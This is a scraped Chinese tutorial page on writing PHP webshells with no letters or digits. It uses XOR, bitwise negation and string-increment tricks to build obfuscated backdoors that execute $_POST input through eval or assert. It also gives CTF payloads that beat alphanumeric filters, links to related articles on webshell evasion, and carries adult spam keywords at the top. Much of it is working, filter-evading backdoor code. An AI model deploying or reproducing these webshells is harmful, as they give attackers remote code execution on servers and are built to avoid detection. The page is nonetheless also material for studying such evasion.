国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

不含數(shù)字的webshell繞過(guò)

這篇具有很好參考價(jià)值的文章主要介紹了不含數(shù)字的webshell繞過(guò)。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問(wèn)。

異或操作原理

1.首先我們得了解一下異或操作的原理

在php中,異或操作是兩個(gè)二進(jìn)制數(shù)相同時(shí),異或(相同)為0,不同為1

舉個(gè)例子

A的ASCII值是65,對(duì)應(yīng)的二進(jìn)制值是0100 0001

`的ASCII值是96,對(duì)應(yīng)的二進(jìn)制值是?0110 0000

上下一一對(duì)應(yīng)(相同)為0,不同為1,異或的二進(jìn)制的值是00100001,對(duì)應(yīng)的ASCII值是33,對(duì)應(yīng)的字符串的值就是 ! 了

<?php
    echo "A"^"`";
?>

不含數(shù)字的webshell繞過(guò),webshell,PHP,繞過(guò)

?不含數(shù)字的webshell繞過(guò),webshell,PHP,繞過(guò)

?

2.我們要利用的不只是異或操作,還有PHP的特性——弱類型語(yǔ)言

在PHP中我們可以不預(yù)先聲明變量的類型,而直接聲明一個(gè)變量并進(jìn)行初始化或賦值操作。正是由于PHP弱類型的這個(gè)特點(diǎn),我們對(duì)PHP的變類型進(jìn)行隱式的轉(zhuǎn)換,并利用這個(gè)特點(diǎn)進(jìn)行一些非常規(guī)的操作。如將整型轉(zhuǎn)換成字符串型,將布爾型當(dāng)作整型,或者將字符串當(dāng)作函數(shù)來(lái)處理

例如以下案例

不含數(shù)字的webshell繞過(guò),webshell,PHP,繞過(guò)

不含數(shù)字的webshell繞過(guò),webshell,PHP,繞過(guò)

簡(jiǎn)單分析

1.$_? 沒(méi)賦值為null 等價(jià)于false等價(jià)于0,0++也就是1

就此我們完成了不使用任何數(shù)字的情況下,通過(guò)對(duì)未定義變量的自增操作來(lái)得到一個(gè)數(shù)字。

2.$__ = "?" ^ "}",安裝ASCii表的運(yùn)算結(jié)果為B

3.直接B()來(lái)執(zhí)行B函數(shù)

?eval解析

PHP 支持可變函數(shù)的概念。這意味著如果一個(gè)變量名后有圓括號(hào),PHP 將尋找與變量的值同名的函數(shù),并且嘗試執(zhí)行它??勺兒瘮?shù)可以用來(lái)實(shí)現(xiàn)包括回調(diào)函數(shù),函數(shù)表在內(nèi)的一些用途。

可變函數(shù)不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及類似的語(yǔ)言結(jié)構(gòu)。需要使用自己的包裝函數(shù)來(lái)將這些結(jié)構(gòu)用作可變函數(shù)。

這么看來(lái)eval其實(shí)并不能算是‘函數(shù)’,而是PHP自身的語(yǔ)言結(jié)構(gòu),如果需要用‘可變’的方式調(diào)用,需要自己構(gòu)造,類似這樣子的

<?php
function eval_1($str)
{
   eval($str);
}

$a='eval_1';
$a('phpinfo()');
?> 

繞過(guò)方法一:非數(shù)字字母的PHP后門(mén)

<?php
    @$_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

通過(guò)異或的方法將非數(shù)字和字母的字符轉(zhuǎn)化為需要的字符并通過(guò).=追加拼接,最后形成

$_POST[0]($_POST[1])

我們可以下載一下firefox的hackbar擴(kuò)展

并輸入內(nèi)容來(lái)請(qǐng)求

不含數(shù)字的webshell繞過(guò),webshell,PHP,繞過(guò)

?輸入?yún)?shù)為0=eval&1=phpinfo();通過(guò)$_POST[0]($_POST[1])之后

就成為為eval(phpinfo();)

嘗試執(zhí)行,執(zhí)行失敗

不含數(shù)字的webshell繞過(guò),webshell,PHP,繞過(guò)

這里就可以引入另外一個(gè)知識(shí)點(diǎn)了,請(qǐng)翻閱上面的eval解析

?

一個(gè)異或繞過(guò)的例子

題目

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

該例子過(guò)濾掉了數(shù)字字母

并且include了一個(gè)flag.php文件

不含數(shù)字的webshell繞過(guò),webshell,PHP,繞過(guò)

?解決方案1——異或

?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag

"^"?<>/"異或完之后是_GET,定義了一個(gè)變量_GET

${$_}[_]();最終得到值$_GET[_]();

&_=getFlag 將getFlag賦值給_

最終整個(gè)表達(dá)式變成

$_GET[_]()——>getFlag()

不含數(shù)字的webshell繞過(guò),webshell,PHP,繞過(guò)

?

解決方法2——取反

?code=_=~%98%9A%8B%B9%93%9E%98;_();

繞過(guò)方法二:取反

對(duì)于題目

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
  eval($_GET['shell']);
}

異或方法繞過(guò)

<?php
$_=(']'^'<').('^'^'-').('^'^'-').('^'^';').('_'^'-').('*'^'~'); // $_='assert';
$__='_'.('|'^',').('`'^'/').('('^'{').('('^'|'); // $__='_POST';
$___=$$__;
$_($___[_]); assert($_POST[_]);

換成取反繞過(guò)

<?php
$__=('>'>'<')+('>'>'<'); //2
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);

繞過(guò)方法三:利用PHP語(yǔ)法繞過(guò)

原理

在處理字符變量的算數(shù)運(yùn)算時(shí),PHP 沿襲了 Perl 的習(xí)慣,而非 C 的。例如,在 Perl 中 a = 'Z'; a++; 將把 $a 變成'AA',而在 C 中,a = 'Z'; a++; 將把 a 變成 '['('Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。注意字符變量只能遞增,不能遞減,并且只支持純字母(a-z 和 A-Z)。遞增/遞減其他字符變量則無(wú)效,原字符串沒(méi)有變化。

也就是說(shuō),'a'++ => 'b','b'++ => 'c'... 所以,我們只要能拿到一個(gè)變量,其值為a,通過(guò)自增操作即可獲得a-z中所有字符

那么,如何拿到一個(gè)值為字符串'a'的變量呢?

巧了,數(shù)組(Array)的第一個(gè)字母就是大寫(xiě)A,而且第4個(gè)字母是小寫(xiě)a。也就是說(shuō),我們可以同時(shí)拿到小寫(xiě)和大寫(xiě)A,等于我們就可以拿到a-z和A-Z的所有字母。

在PHP中,如果強(qiáng)制連接數(shù)組和字符串的話,數(shù)組將被轉(zhuǎn)換成字符串,其值為Array:

不含數(shù)字的webshell繞過(guò),webshell,PHP,繞過(guò)

?再取這個(gè)字符串的第一個(gè)字母,就可以獲得'A'了。

通過(guò)這種方式來(lái)獲得ASSERT($_POST[_]);文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-662452.html

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
ASSERT
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

到了這里,關(guān)于不含數(shù)字的webshell繞過(guò)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來(lái)自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • Webshell免殺-PHP

    Webshell免殺-PHP

    ????????在很多滲透測(cè)試?yán)玫倪^(guò)程中,滲透人員會(huì)通過(guò)上傳webshell的方式來(lái)獲取目標(biāo)服務(wù)器的權(quán)限。然而及時(shí)webshell文件能夠正常上傳,后續(xù)有可能會(huì)被管理員當(dāng)作木馬文件刪除,上傳的過(guò)程中也會(huì)被安全設(shè)備攔截,因此對(duì)webshell文件進(jìn)行免殺操作是不可或缺的。本處僅對(duì)

    2023年04月25日
    瀏覽(19)
  • 二進(jìn)制加密PHP Webshell原理及簡(jiǎn)單實(shí)現(xiàn)

    二進(jìn)制加密PHP Webshell原理及簡(jiǎn)單實(shí)現(xiàn)

    今天繼續(xù)給大家介紹滲透測(cè)試相關(guān)知識(shí),本文主要內(nèi)容是二進(jìn)制加密PHP Webshell原理及簡(jiǎn)單實(shí)現(xiàn)。 免責(zé)聲明: 本文所介紹的內(nèi)容僅做學(xué)習(xí)交流使用,嚴(yán)禁利用文中技術(shù)進(jìn)行非法行為,否則造成一切嚴(yán)重后果自負(fù)! 再次強(qiáng)調(diào):嚴(yán)禁對(duì)未授權(quán)設(shè)備進(jìn)行滲透測(cè)試! 為了躲避WAF、殺軟

    2023年04月09日
    瀏覽(26)
  • php_webshell免殺--從0改造你的AntSword

    php_webshell免殺--從0改造你的AntSword

    為什么會(huì)有改造蟻劍的想法,之前看到有做冰蝎的流量加密,來(lái)看到繞過(guò)waf,改造一些弱特征,通過(guò)流量轉(zhuǎn)換,跳過(guò)密鑰交互。 但是,冰蝎需要反編譯去改造源碼,再進(jìn)行修復(fù)bug,也比較復(fù)雜。而AntSword相對(duì)于冰蝎來(lái)說(shuō),不限制webshell,即一句話也可以進(jìn)行連接,還可以自定

    2024年02月11日
    瀏覽(21)
  • 如何構(gòu)造不包含字母和數(shù)字的webshell

    如何構(gòu)造不包含字母和數(shù)字的webshell

    利用不含字母與數(shù)字進(jìn)行繞過(guò) 1.異或進(jìn)行繞過(guò) ?2.取反進(jìn)行繞過(guò) ?3.利用php語(yǔ)法繞過(guò) 基本代碼運(yùn)行思路理解? ?php ? ? echo \\\"A\\\"^\\\"`\\\"; ? 運(yùn)行結(jié)果為! 我們可以看到,輸出的結(jié)果是字符\\\"!\\\"。之所以會(huì)得到這樣的結(jié)果,是因?yàn)榇a中對(duì)字符\\\"A\\\"和字符\\\"`\\\"進(jìn)行了異或操作。在PHP中,兩個(gè)變量

    2024年02月12日
    瀏覽(18)
  • PHP之Base64+php://filter繞過(guò)、disabled_function繞過(guò)

    PHP之Base64+php://filter繞過(guò)、disabled_function繞過(guò)

    目錄 一、Base64+php://filter繞過(guò) 1.思路分析? 2.實(shí)踐驗(yàn)證 二、disabled_function繞過(guò) 上課講了這樣一道題,一起來(lái)看下(以下代碼適用于PHP7.x及以上,5的版本會(huì)報(bào)錯(cuò)) 前端就是一個(gè)上傳標(biāo)簽,沒(méi)啥可看的 題目要求只能上傳php文件,上傳普通的一句話肯定不行,直接被過(guò)濾掉 普通Webs

    2024年02月12日
    瀏覽(20)
  • 免費(fèi)簡(jiǎn)單好用的 webshell 在線檢測(cè):支持 php、jsp、asp等多格式文件

    免費(fèi)簡(jiǎn)單好用的 webshell 在線檢測(cè):支持 php、jsp、asp等多格式文件

    話不多說(shuō),直接上圖上鏈接:https://rivers.chaitin.cn/?share=3d4f2e8aaec211eea5550242c0a8170c 還是比較好用的,支持 PHP、JSP 文件 webshell 檢測(cè),看官方解釋文檔,引擎使用靜態(tài)文本特征、骨架哈希、靜態(tài)語(yǔ)義分析、動(dòng)態(tài)污點(diǎn)追蹤、動(dòng)態(tài)插樁內(nèi)存等檢測(cè)技術(shù),聽(tīng)起來(lái)比較高級(jí)。 也提供 API 接

    2024年02月02日
    瀏覽(28)
  • PHP特性之CTF中常見(jiàn)的PHP繞過(guò)

    PHP特性之CTF中常見(jiàn)的PHP繞過(guò)

    目錄 一、關(guān)于md5()和sha1()的常見(jiàn)繞過(guò) 1、使用數(shù)組繞過(guò) 2、 使用特殊字符串繞過(guò) 二、strcmp繞過(guò) 三、switch繞過(guò) 四、intval繞過(guò) 人工智能 https://www.captainbed.cn/myon/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~? ?正文開(kāi)始? ?~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 知識(shí)介紹: 1、對(duì)于php強(qiáng)比較和弱比較:md5(),sha1()函

    2024年02月07日
    瀏覽(17)
  • php弱類型相等漏洞繞過(guò)

    長(zhǎng)度一致性 :任意長(zhǎng)度的數(shù)據(jù),計(jì)算出來(lái)的哈希值長(zhǎng)度都是固定的128位。 不對(duì)稱性: 從原數(shù)據(jù)計(jì)算哈希值十分容易,但是知道哈希值去碰撞原數(shù)據(jù)十分困難。 PHP中有兩個(gè)相等操作符“==”和“===”。$a == $b,如果類型轉(zhuǎn)換后$a和$b相等,則輸出true。$a === $b,如果$a和$b相等,

    2023年04月26日
    瀏覽(50)
  • PHP CTF常見(jiàn)考題的繞過(guò)技巧

    目錄 1.==繞過(guò) 2.===繞過(guò) 3.intval()函數(shù) 4.strpos()函數(shù) ?5.in_array()函數(shù) ?6.preg_match()函數(shù) ?7.str_replace函數(shù) 1.==繞過(guò) PHP比較運(yùn)算符 ==在進(jìn)行比較的時(shí)候是弱類型比較,只需要比較兩個(gè)值相等就行,不會(huì)比較類型 繞過(guò)方法如:1=1.0,1=+1、 $a=1; if($a==$_GET[\\\'x\\\']){ ??? echo $flag; } //使用1.0就可以

    2024年02月07日
    瀏覽(89)
  • PHP反序列化漏洞-魔術(shù)方法繞過(guò)

    一、__wakeup()魔法函數(shù)繞過(guò): 在PHP中,__wakeup()是一個(gè)魔術(shù)方法,用于在反序列化對(duì)象時(shí)自動(dòng)調(diào)用。 當(dāng)反序列化字符串中的對(duì)象屬性個(gè)數(shù)大于實(shí)際屬性個(gè)數(shù)時(shí) ,可以利用這個(gè)漏洞進(jìn)行繞過(guò)。 觸發(fā)條件: PHP版本為5.6.25或早期版本,或者PHP7版本小于7.0.10。 反序列化字符串中的對(duì)

    2024年01月18日
    瀏覽(48)

覺(jué)得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包